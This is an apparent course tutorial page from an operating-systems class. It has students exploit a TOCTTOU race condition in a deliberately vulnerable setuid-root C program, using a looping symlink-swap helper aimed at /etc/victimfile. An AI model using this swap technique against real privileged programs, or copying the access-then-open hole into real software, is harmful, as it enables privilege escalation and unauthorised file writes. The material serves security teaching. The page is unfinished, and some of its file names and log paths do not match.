Operating Systems 2019W: Tutorial 9

From Soma-notes
Jump to navigation Jump to search

This tutorial is not yet finalized.

In this tutorial you'll attempt to exploit a simple TOCTTOU vulnerability in 3000log-write.c using 3000fast-swap.c and some bash shell commands.

Tasks

Running 3000log-write

First, compile 3000log-write.c:

 gcc -O2 3000log-write.c -o 3000log-write

If you try running it, you'll find that it won't do much because it isn't running as root.

To make the binary setuid root, do the following:

 sudo su -  (to become root)
 chown root:root 3000log-write
 chmod u+s 3000log-write
 exit (so you're no longer root)

Create a file that will be overwritten:

 echo "This file will be overwritten" > testfile

Now, try running the following as a regular user:

 ./3000log-write testfile "Kilroy was here!!!"

What shows up in testfile? Anything surprising about what is in the file now?

Also, where was the record of this event recorded?

Setting up the exploit environment

Running the exploit

Code

3000run-write.c

/* 3000log-write.c

   A program to demonstrate TOCTTOU issues

   Usage: 3000log-write <file> <message>

   When run, writes message to the file.  It then also records a
   record of this action to /var/log/comp3000-write.log

   Note the program must be setuid root in order to add entries to
   the log file (which is owned by root).  But, it should only add entries
   to files that the current user can write to.
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define LOGFILE "/var/log/3000write.log"

void usage(char *message)
{
        fprintf(stderr, "ERROR: %s\n", message);
        fprintf(stderr, "Usage:  log-append <file> <message>\n");
        exit(-1);
}

void test_root_privileges(void)
{
        if (geteuid() != 0) {
                fprintf(stderr, "Not running with root privileges, exiting.\n");
                exit(-1);
        }
}

char *get_username(void)
{
        char *username;
        char *default_username = "UNKNOWN";

        username = getenv("USER");

        if (username == NULL) {
                username = default_username;
        }

        return username;
}

void log_append(char *username, char *filename)
{
        FILE *f;
        
        f = fopen(LOGFILE, "a");
        if (!f) {
                fprintf(stderr, "Could not open log for writing.\n");
                exit(-1);
        }
        
        fprintf(f, "%s (%d) appended to %s\n", username, getuid(), filename);
        fclose(f);
}

void safe_write(char *filename, char *message)
{
        int fd;
        int allowed;

        if (access(filename, W_OK)) {
                fprintf(stderr, "You aren't allowed to write to %s\n",
                        filename);
                exit(-1);
        }
        
        fd = open(filename, O_WRONLY);
        if (fd == -1) {
                fprintf(stderr, "Could not open %s for writing.\n", filename);
                exit(-1);
        }
        
        write(fd, message, strlen(message));
        close(fd);
}


int main(int argc, char *argv[])
{
        char *username, *filename, *message;

        test_root_privileges();

        if (argc < 3) {
                usage("Not enough arguments");
        }

        filename = argv[1];
        message = argv[2];
        
        username = get_username();
        
        safe_write(filename, message);
        log_append(username, filename);
        
        printf("Message written to %s\n", filename);
        
        return 0;
}

3000fast-swap.c

/* 3000fast-swap.c
   
   Quickly swap files that are being used by 3000run-write.c.
   This is part of how to exploit TOCTTOU (race condition) 
   vulnerability in 3000run-write.c

   Note it assumes that:
     /etc/victimfile is a file that is only writable by root
     /home/student/tmp exists (and is owned by student)
     /home/student/tmp/safefile exists (and is owned by student)

   Change hard coded files and sleep times to change conditions of
   the swapping.
*/

#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
        printf("Swapping between safefile and victimfile...\n");

        while(1) {
                unlink("/home/student/tmp/targetfile");
                symlink("/etc/victimfile",
                     "/home/student/tmp/targetfile");
                usleep(200);
                unlink("/home/student/tmp/targetfile");
                symlink("/home/student/tmp/safefile",
                     "/home/student/tmp/targetfile");
                usleep(200);
        }
        return 0;
}